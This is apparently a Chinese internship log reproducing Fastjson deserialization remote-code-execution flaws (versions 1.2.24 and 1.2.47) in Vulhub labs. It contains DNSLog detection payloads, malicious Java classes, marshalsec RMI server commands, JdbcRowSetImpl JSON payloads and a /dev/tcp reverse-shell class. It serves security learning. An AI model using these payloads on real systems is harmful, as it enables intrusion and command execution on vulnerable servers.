头图:https://cdn.naraku.cn/imgs/Leak/Fastjson/Fastjson-0.jpg
摘要:近两年漏洞之王。

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

漏洞检测

DNSLog回显

  • 通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显,以此判断是不是Fastjson
    1. {"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
    2. {"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
    3. {"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
    4. {"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
    5. {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
    6. {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
    7. Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}]
    8. Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}
    9. {{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0

    增加Key

    Java语言中常用的Json处理主要是Fastjson和Jackson,相对而言,Jackson比较严格,强制Key和JavaBean属性对齐,只能少Key不能多Key,所以可以通过增加一个Key看响应包会不会报错来判断。

1.2.24 反序列化导致任意命令执行漏洞

  • 这里使用Vulhub/Fastjson-1.2.24-1.2.24-rce/进行搭建
  • 抓包,修改一下然后提交,可以在DNSLog平台看到回显

    1. // Payload
    2. {"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

    实习记录(四) - Fastjson反序列化漏洞 - 图1
    实习记录(四) - Fastjson反序列化漏洞 - 图2

  • 构造恶意文件TouchFile.java并编译成class文件

    1. $ vim TouchFile.java
    2. $ javac TouchFile.java
    1. import java.lang.Runtime;
    2. import java.lang.Process;
    3. public class TouchFile {
    4. static {
    5. try {
    6. Runtime rt = Runtime.getRuntime();
    7. String[] commands = {"touch", "/tmp/success.txt"};
    8. Process pc = rt.exec(commands);
    9. pc.waitFor();
    10. } catch (Exception e) {
    11. // do nothing
    12. }
    13. }
    14. }
  • 然后使用Python开启HTTP服务,通过浏览器访问确保可以找到TouchFile.class文件

  • 同时借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.classmarshalsec-0.0.3-SNAPSHOT-all.jar可以自己使用Maven构建,也可以直接在这里下载并上传到服务器

    1. $ python -m SimpleHTTPServer 8888
    2. $ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器IP:8888/#TouchFile" 9999

    实习记录(四) - Fastjson反序列化漏洞 - 图3
    实习记录(四) - Fastjson反序列化漏洞 - 图4

  • 向靶场服务器发送Payload,带上RMI的地址:

    1. {
    2. "naraku":{
    3. "@type":"com.sun.rowset.JdbcRowSetImpl",
    4. "dataSourceName":"rmi://服务器IP:9999/TouchFile",
    5. "autoCommit":true
    6. }
    7. }

    实习记录(四) - Fastjson反序列化漏洞 - 图5

    1.2.47 远程命令执行漏洞

    Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

  • 搭建:Vulhub/Fastjson-1.2.24-1.2.47-rce/

  • 抓包,POST以下Payload。注意需要将Content-Type设为application/json

    1. # Payload
    2. {"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

    实习记录(四) - Fastjson反序列化漏洞 - 图6

  • 具体实现和前面差不多,开启HTTP服务(8888端口)和RMI/LDAP服务(9999端口),加载下面的Exploit.class

    1. $ python -m SimpleHTTPServer 8888
    2. $ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<服务器IP>:8888/#Exploit" 9999
  • Exploit.class

    1. public class Exploit {
    2. public Exploit(){
    3. try{
    4. Runtime.getRuntime().exec("touch /tmp/success.txt");
    5. }catch(Exception e){
    6. e.printStackTrace();
    7. }
    8. }
    9. public static void main(String[] argv){
    10. Exploit e = new Exploit();
    11. }
    12. }
  • 发送Payload

    1. {
    2. "a":{
    3. "@type":"java.lang.Class",
    4. "val":"com.sun.rowset.JdbcRowSetImpl"
    5. },
    6. "b":{
    7. "@type":"com.sun.rowset.JdbcRowSetImpl",
    8. "dataSourceName":"rmi://<服务器IP>:9999/Exploit",
    9. "autoCommit":true
    10. }
    11. }

    实习记录(四) - Fastjson反序列化漏洞 - 图7
    实习记录(四) - Fastjson反序列化漏洞 - 图8

  • 可以看到success.txt文件被成功创建

实习记录(四) - Fastjson反序列化漏洞 - 图9

其它

RMI&LDAP

  • 优先使用LDAP协议

    • RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复
    • LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了

      反弹Shell

      1. public class Exploit {
      2. public Exploit(){
      3. try{
      4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/服务器IP/端口 0>&1");
      5. }catch(Exception e){
      6. e.printStackTrace();
      7. }
      8. }
      9. public static void main(String[] argv){
      10. Exploit e = new Exploit();
      11. }
      12. }

      报错

  • 复现时遇到报错set property error, autoCommit...

  • 原因:启动RMI服务器会使用2个端口,其中一个固定的,另一个是随机的。而我这里复现时一开始使用的攻击机为阿里云服务器,由于安全组的原因导致出现这个报错。后来将攻击机和靶机都使用虚拟机Kali来完成复现。
  • 参考:issues-169

实习记录(四) - Fastjson反序列化漏洞 - 图10

参考